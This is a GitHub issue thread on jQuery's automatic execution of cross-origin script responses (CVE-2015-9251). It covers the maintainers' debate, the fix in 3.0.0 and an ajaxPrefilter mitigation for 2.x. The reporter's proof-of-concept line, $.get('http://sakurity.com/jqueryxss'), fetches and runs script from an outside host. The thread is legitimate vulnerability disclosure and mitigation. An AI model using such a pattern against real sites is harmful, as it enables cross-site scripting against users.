jquery / jquery

jQuery JavaScript Library
https://jquery.com
MIT License
58.96k stars 20.62k forks source link

Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses #2432

Closed homakov closed 8 years ago

homakov commented 8 years ago

Because of this https://github.com/jquery/jquery/blob/250a1990baa571de60325ab2c52eabb399c4cf9e/src/ajax/script.js#L18 every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).

So when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo $.get('http://sakurity.com/jqueryxss')

The fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.

P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.

dmethvin commented 8 years ago

There would be some pretty significant backcompat implications here. $.get is just a thin wrapper around $.ajax. If the "intelligent guess" logic is a problem the caller can use $.ajax with an explicit "text" data type and do the conversion manually/explicitly.

homakov commented 8 years ago

@dmethvin I generally agree that it's developer's responsibility to use $.ajax properly with all options to control the response processing. However if we google "jquery cors request" good half of the results doesn't use dataType setting.

Anyway if it seems hard to monkey patch it for cross domain requests, I'm fine with it.

dmethvin commented 8 years ago

I should have made it clear that I really dislike the "intelligent guess" logic too, for this very reason. If it was taken out and the caller had to declare their data type (or explicitly tell us to guess?) the hole would close. But I suspect it would break a ton of the world's sites. What do others think?

homakov commented 8 years ago

But I suspect it would break a ton of the world's sites

I don't see how it can break something because the fix is only for cross domain requests not using dataType: 'script' and expecting javascript (not jsonp). Why would a website load JS from other domains via $.ajax? This is really weird and I feel it's safe to patch.

timmywil commented 8 years ago

@homakov Thanks for opening an issue. Would you be comfortable opening a PR with the proposed changes? I think we could evaluate this change more thoroughly if we could see some code.

homakov commented 8 years ago

@timmywil i'm only doing security but i will see if i can write this thing

dmethvin commented 8 years ago

I should also clarify that in this case the "attacker" is a web site that you're asking for data via $.ajax() that happens to be a script. So it's similar to when you include third party code via <script> tags. If you have a proposed fix we would like to see it.

homakov commented 8 years ago

Via .post and .get too. Always, if you don't specify dataType.

markelog commented 8 years ago

Not sure if should do it though - https://github.com/jquery/jquery/pull/2588

/cc @jaubourg

jaubourg commented 8 years ago

Everything about automated script detection is configurable so it's pretty easy to disable it (untested examples that should work):

// Good: disable javascript detection globally
$.ajaxSetup( {
    contents: {
        javascript: false
    }
} );

// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
    converters: {
        "test => javascript": false
    }
} );

// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.javascript = false;
    }
} );

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

markelog commented 8 years ago

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

jaubourg commented 8 years ago

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

Exactly, the other option is to use the prefilter which makes the behaviour pretty difficult to document imo. Hence why I'd rather go with pushing the solution in userland.

homakov commented 8 years ago

@jaubourg teaching users is very hard, remember $(location.hash) bug, it took years of vulnerable apps for jQuery to fix this. The one I posted is not used in the wild yet, but imagine how many apps use code like that.

timmywil commented 8 years ago

The change to not execute cross domain scripts by default is much less obtrusive than turning off all script execution by default. I think @markelog's solution is worth trying in the next release.

jaubourg commented 8 years ago

@homakov, there are lots of other ways to execute malicious scripts with the DOM API alone. This is not a case of user input being unchecked and used as is, it's a case of code reaching knowingly to a hard-coded URL. There's a big difference. People all around the globe are already using scripts from other domains (CDNs) which poses the exact same issue.

@timmywil, since we can handle this with configuration (ie a prefilter), I don't see the appeal of hacking deep into the conversion logic.

timmywil commented 8 years ago

@jaubourg I agree this can be handled easily with a prefilter, but the advantage of changing the default behavior is that users err on the side of security, rather than unintentionally executing cross domain scripts.

homakov commented 8 years ago

Many people use CDNs but here they definitely don't expect current behavior. I would rank it as Low severity, but the fix is simple so i think it's worth it

markelog commented 8 years ago

@homakov i believe we mitigate this, would you mind testing it out?

homakov commented 8 years ago

$.get('http://sakurity.com/jqueryxss') doesn't work on edge so @markelog fixed

reedloden commented 8 years ago

This fix was backed out of 2.2.x branch (https://github.com/jquery/jquery/commit/ad358fd62b0ab548abe379594ea00441940461f6), which is really confusing. The fix is still in 1.12.x, though. So, jQuery 1.12.x is safer than 2.2.x. That's disturbing. Can we get this security fix back on 2.2.x?

markelog commented 8 years ago

@reedloden hey, thanks for pointing that out, would you mind creating a ticket about this? No need to write about it in three places at once.

mgol commented 8 years ago

@reedloden We had to revert that because it was a breaking change so it shouldn't have been done in 1.12/2.2. We'll revert it in 1.12.3 as well (see #3011).

This fix will arrive in 3.0.0.

mgol commented 8 years ago

@markelog I added the milestone as this ticket didn't have one.

webuniverseio commented 7 years ago

@mgol this is a 5 line breaking change vs 14 page scrolls of upgrade instructions to version 3. This is a case that is missing in semver, when you have a breaking change, but you can't create a major update because you already have one. I'm not emotional here, just trying to bring a little bit of attention to the problem (but that might be off topic). I can only think of custom semver versioning with 4 digits, something like MAJOR.CURRENT-MAJOR-BREAKING-HOTFIX.MINOR.PATCH.

webuniverseio commented 7 years ago

If I add those 5 lines in my custom code, before using jquery I should be protected from the issue, right?

mgol commented 7 years ago

@szarouski As indicated by the milestone and the comments, this issue is fixed in jQuery 3.0. What else do you need?

This is a case that is missing in semver, when you have a breaking change, but you can't create a major update because you already have one.

What do you mean? I don't understand.

homakov commented 7 years ago

@mgol is it? can you run $.get('http://sakurity.com/jqueryxss') on any jquery 3 website and see popup lie i do?

mgol commented 7 years ago

@homakov Can you post an example of such a site? I've just checked and it doesn't work.

webuniverseio commented 7 years ago

@mgol I'm sorry I wasn't clear. I have 5 projects that in total combine into a giant project and all of them use jquery 2.2.4. The fix is for CORS is backwards incompatible, so it is reverted and released in version 3. The problem is that fix is 5 line change that would be much easier to fix in comparison to upgrading to version 3. So I wonder if I can add those 5 lines in custom code after jquery library but before using jquery api, in order to fix security issue for 2.x versions? At some point I will definitely upgrade to v3, but at the moment there is no bandwidth to do so and at the same time I really don't want to have a vulnerability in the most used library on the project.

I mentioned semver as jquery already have v2.x.x and v3.x.x. Taking this in count, there is no straight forward way in semver to incorporate incompatible, yet important change for version 2.

mgol commented 7 years ago

@szarouski OK, now I understood. :) Yes, adding those 5 lines will fix the issue for you. Note, though, that you'll only have a vulnerability if you $.get(untrusted_url) which is non-advisable anyway.

markelog commented 7 years ago

@szarouski read the https://github.com/jquery/jquery/issues/2432#issuecomment-140038536

And you know, you have to really jump through the hoops in order to consider this a real threat or real anything, we did it for "just in case" kinda situation, right thing to do and all, but realistically, this is nothing to be concern about

homakov commented 7 years ago

@mgol it's not exactly non-advisable. It's like grabbing weather data from an external site supporting CORS.

I don't have v3 site at hand so let's consider it fixed 👍

osuritz commented 7 years ago

Can we sum up which versions are still affected by this issue? Is 1.2.14 the only one (of 1.2.x series) that has the fix merged in?

mgol commented 7 years ago

@osuritz The fix is included only in jQuery 3.0.0 and newer. You need to upgrade to have it included.

reissr commented 7 years ago

Just to make sure.. There is no fix / patch for V2.x and it is only fixed on V3.0?

mgol commented 7 years ago

@reissr Yes, this was a breaking change so we couldn't include it in 2.x now that we follow semver.

Also, we no longer maintain jQuery 1.x/2.x, only the latest version, currently 3.x.

anarcat commented 6 years ago

CVE-2015-9251 was assigned to track this issue.

gb-pthompson commented 5 years ago

Is this patched/fixed for 2.2.4 as of now?

mgol commented 5 years ago

The issue was patched in jQuery 3.0.0 and erroneously backported to 1.12/2.2. The change has been reverted in 1.12.3/2.2.3 as it was a breaking change; it will not be brought back there.

To have the fix you need to either update to jQuery 3 or apply the patch manually in your application code just after loading jQuery:

// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
jQuery.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.script = false;
    }
} );

This issue is going in circles now, people are re-asking the same questions over & over again. I'm locking this issue, please direct further questions to jQuery Forums or Stack Overflow.